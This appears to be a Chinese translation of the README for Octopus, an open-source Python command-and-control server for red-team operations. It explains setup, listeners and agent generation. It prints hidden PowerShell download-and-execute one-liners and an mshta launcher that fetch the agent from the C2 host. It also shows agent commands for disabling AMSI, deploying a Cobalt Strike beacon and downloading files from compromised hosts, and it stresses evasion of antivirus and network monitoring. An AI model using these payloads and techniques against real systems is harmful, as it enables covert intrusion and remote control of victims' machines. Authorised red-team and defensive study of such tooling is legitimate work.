Octopus 是一个基于 Python 的开源预操作 C2 服务器,可以通过 HTTP/S 控制 Octopus PowerShell agent。
创建 Octopus 的主要目的是用于任何红队操作之前,你可以先使用 Octopus 攻击目标并收集信息,而不是一开始就投入完整的作战武器库和基础设施,然后再开始实际的红队操作。
Octopus 以一种非常简单的方式工作:通过良好加密的通道与 C2 执行命令并交换信息,这使得它对几乎所有防病毒软件、端点防护和网络监控解决方案都难以察觉且不被检测到。
Octopus 的一个很酷的功能叫做 ESA(Endpoint Situational Awareness,端点态势感知),它将收集目标的某些重要信息,帮助你更好地了解在操作中将要面对的目标网络端点,从而让你有机会根据这些信息定制你的实际操作。
Octopus 的设计使其在与 C2 通信时保持隐蔽和秘密,因为它默认使用 AES-256 加密 PowerShell agent 和 C2 服务器之间的通道。你也可以通过为你的域提供有效的证书并配置 Octopus C2 服务器来使用 SSL/TLS。
Octopus 包含许多功能,使你在实际需要部署全部武器库或工具与技术之前,就能深入了解即将进行的行动,例如:
你可以通过以下方式安装 Octopus 的所有依赖:
pip install -r requirements.txt
你需要为 Linux 安装 nasm 和 mingw-w64 编译器以使用 shellcode 功能和 spoofed args agent。
在基于 Debian 的发行版上,你可以使用以下命令安装 nasm:
apt install nasm
在基于 Debian 的发行版上,你可以使用以下命令安装 mingw-w64:
apt install mingw-w64
Octopus 已在以下操作系统上测试:
你还需要安装 mono 以确保能够顺利编译 C# 源代码。
Octopus 依赖 mono-csc 二进制文件来编译 C# 源代码,你可以使用以下命令安装它:apt install mono-devel,该命令已在 Kali 和 Ubuntu 16.04 上测试通过。
你可以在没有安装 mono 的情况下使用 Octopus,但将无法使用
generate_exe命令。
另请注意,编译 C# 依赖于 System.Management.Automation.dll 程序集,其 SHA1 哈希为 a43ed886b68c6ee913da85df9ad2064f1d81c470。
如果你在使用 Octopus 时遇到任何问题,请随时提交错误报告!
首先,请确保使用以下命令下载最新版本的 Octopus:
git clone https://github.com/mhaskar/Octopus/
然后,使用以下命令安装依赖项:
pip install -r requirements.txt
之后,你可以通过运行以下命令启动 Octopus 服务器:
./octopus.py
运行后,你将看到如下欢迎信息:
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 stable !
Octopus C2 | 控制你的 shells
Octopus >>
Octopus 使用起来非常简单,你只需要启动一个监听器并根据该监听器的信息生成你的 agent。
你可以根据需要生成任意数量的监听器,然后开始与连接到这些监听器的 agent 进行交互。
在开始使用 Octopus 之前,你必须设置一个 URL 处理 profile,它将控制 C2 的行为和功能。由于 Octopus 是一个基于 HTTP 的 C2,因此它依赖 URL 来处理连接,同时确保这些 URL 不会成为你当前攻击的网络中的签名或 IoC。URL 可以根据需要轻松自定义和重命名。
目前,profile 设置仅支持 URL 处理、auto kill 值和 headers。
设置你的 profile
要开始设置你的 profile,你需要编辑 profile.py 文件,其中包含多个关键变量,分别是:
示例:
#!/usr/bin/python3
# 这是 Octopus C2 的 Web 监听器 profile
# 你可以自定义 profile 以处理特定的 URL 与 agent 通信
# TODO:添加自定义请求 headers 的功能
# 处理文件下载
# 例如:/anything
# 例如:/anything.php
file_receiver_url = "/messages"
# 处理报告生成
# 例如:/anything
# 例如:/anything.php
report_url = "/calls"
# 向 agent 发送命令(存储将在主机上执行的命令)
# 将 <hostname> 保持原样,使用相同格式
# 例如:/profile/<hostname>
# 例如:/messages/<hostname>
# 例如:/bills/<hostname>
command_send_url = "/view/<hostname>"
# 处理已执行的命令
# 例如:/anything
# 例如:/anything.php
command_receiver_url = "/bills"
# 处理来自 agent 的首次连接
# 例如:/anything
# 例如:/anything.php
first_ping_url = "/login"
# 在每个响应中作为 Server header 返回
server_response_header = "nginx"
# 返回包含 HTA 脚本的白页
mshta_url = "/hta"
# 经过 N 次尝试后的 auto kill 值
auto_kill = 10
agent 和监听器将使用此 profile 进行通信。接下来我们需要了解如何创建监听器。
Octopus 有两个主要的监听器:"http listener" 和 "https listener",两者的选项基本相同。
HTTP 监听器:
listen_http 命令需要以下参数来启动:
你也可以通过运行 listen_http 命令查看示例:
Octopus >>listen_http
[-] 请检查监听器参数!
语法 : listen_http BindIP BindPort hostname interval URL listener_name
示例(有域名): listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
示例(无域名): listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
选项信息:
BindIP 监听器将使用的 IP 地址
BindPort 你想要监听的端口
Hostname 将用于请求 payload
Interval agent 在检查命令之前等待的秒数
URL 存放 payload 的页面名称
Listener_name 要使用的监听器名称
Octopus >>
我们可以使用以下命令启动一个监听器:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
将返回以下结果:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
监听器已成功启动,我们可以使用 listeners 命令查看所有监听器:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
HTTPS 监听器:
要创建 HTTPS 监听器,你可以使用 listen_https 命令,如下所示:
Octopus >>listen_https
[-] 请检查监听器参数!
语法 : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
示例(有域名): listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL 监听器已启动!
[+]darkside_operation 监听器已创建
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
listen_https 命令需要以下参数来启动:
请注意,你需要提供一个与所用域关联的有效 SSL 证书。
PowerShell 单行命令
要为监听器 operation1 生成 agent,我们可以使用以下命令:
generate_powershell operation1
我们将得到以下结果:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
注意 - 对于 Windows 7 客户端,你可能需要将 payload 前缀为 "Add-Type -AssemblyName System.Core;"
例如:powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
尽情渗透吧 ;)
#====================
Octopus >>
现在我们可以使用这个单行命令启动我们的 agent。
HTA 单行命令
要为监听器 operation1 生成 HTA 单行命令,我们可以使用以下命令:
generate_hta operation1
我们将得到以下结果:
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
分发它并等待 ;)
#====================
Octopus >>
请注意,你可以使用 profile.py 编辑 /hta URL。
Octopus EXE agent
要为监听器 operation1 生成 EXE agent,我们可以使用以下命令:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
我们将得到以下结果:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] 文件编译成功!
[+] 二进制文件已保存至 /opt/Octopus/file.exe
Octopus >>
请注意,你需要安装 mono-csc 来编译 C# 源代码。
Octopus 伪造参数 agent
你可以生成一个新的 EXE agent,它将运行一个带有伪造参数的 PowerShell 进程,基于 Adam Chester 的 brilliant 研究。
要生成此 exe,你可以使用以下命令:
Octopus >>generate_spoofed_args_exe
[-] 请选择一个监听器并检查你的选项!
语法 : generate_spoofed_args_exe listener_name output_path
示例 : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
生成 x64 shellcode 和 x86 shellcode
从 1.2 版本开始,Octopus 可以生成 x64 和 x86 shellcode。生成的 shellcode 使用 CreateProcessA 启动一个将启动 PowerShell agent 的 PowerShell 单行命令。
要生成 x64 shellcode,你可以使用以下命令:
Octopus >>generate_x64_shellcode
[-] 请选择一个监听器并检查你的选项!
语法 : generate_x64_shellcode listener_name
示例 : generate_x64_shellcode listener1
Octopus >>
要生成 x86 shellcode,你可以使用以下命令:
Octopus >>generate_x86_shellcode
[-] 请选择一个监听器并检查你的选项!
语法 : generate_x86_shellcode listener_name
示例 : generate_x86_shellcode listener1
Octopus >>
首先,你可以使用 list 命令列出所有已连接的 agent,将得到以下结果:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
然后我们可以使用 interact 命令与主机交互,如下所示:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
你可以使用 help 命令列出所有可用命令,如下所示:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
可用命令:
提示:如果你想执行系统命令,直接输入命令并等待结果
+++++++++
help 显示此帮助菜单
exit/back 退出当前会话并返回主屏幕
clear 清除屏幕输出
download 从目标机器下载文件
deploy_cobalt_beacon 在当前进程中部署 cobalt strike powershell beacon
load 将 powershell 模块加载到目标机器
disable_amsi 在目标机器上禁用 AMSI
report 从目标获取态势报告
(HR-PC-TYRMJ) >>
要直接执行系统命令,我们可以直接输入命令,然后根据我们创建监听器时设置的间隔检查时间等待结果。
(HR-PC-TYRMJ) >> ipconfig
[+] 命令已发送,等待结果
(HR-PC-TYRMJ) >>
命令执行结果:
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
在这种情况下,命令已被加密并发送给 agent,然后客户端将解密命令并执行它,agent 将加密结果,最后将其发送回 C2 进行解密并显示结果。
我们还可以使用 report 命令获取 ESA 信息,如下所示:
(HR-PC-TYRMJ) >> report
[+] 命令已发送,等待结果
(HR-PC-TYRMJ) >>
HR-PC-QNGAV 的端点态势感知报告
=============
主机名 : HR-PC-QNGAV
域 : darkside.com
操作系统 : Microsoft Windows 10 Pro(64-bit)
操作系统构建 : 10.0.17134
操作系统架构 : 64 位
防病毒软件 : Symantec
SIEM 解决方案 : 无
内部接口/IP:
IP : 192.168.178.144
IP : 172.12.1.20
设备语言 : en-US
设备运行时间 : 41.6386169797778 小时
设备本地时间 : 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
你可以通过将外部 PowerShell 模块放在 modules 目录中,然后执行 load module.ps1 来加载它。
此外,你可以通过执行 modules 命令列出 modules 目录中的所有模块,如下所示:
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] 模块应该已加载!
(HR-PC-TYRMJ) >>
Ian Lyte 报告了 Octopus 中的多个错误并推送了增强的 AMSI bypass 模块。
Khlief 添加了 HTA 模块并修复了下载功能中的一个错误。
Moath Maharmah 增强了加密模块并编写了独立的 C# Octopus agent,该 agent 将添加到即将发布的版本中。
TeslaPulse 测试了 Octopus。
J005 添加了增强的 PowerShell 单行命令并修复了 HID 攻击脚本中的问题。
该项目采用 GPL-3.0 许可证 - 详情请见 LICENSE 文件。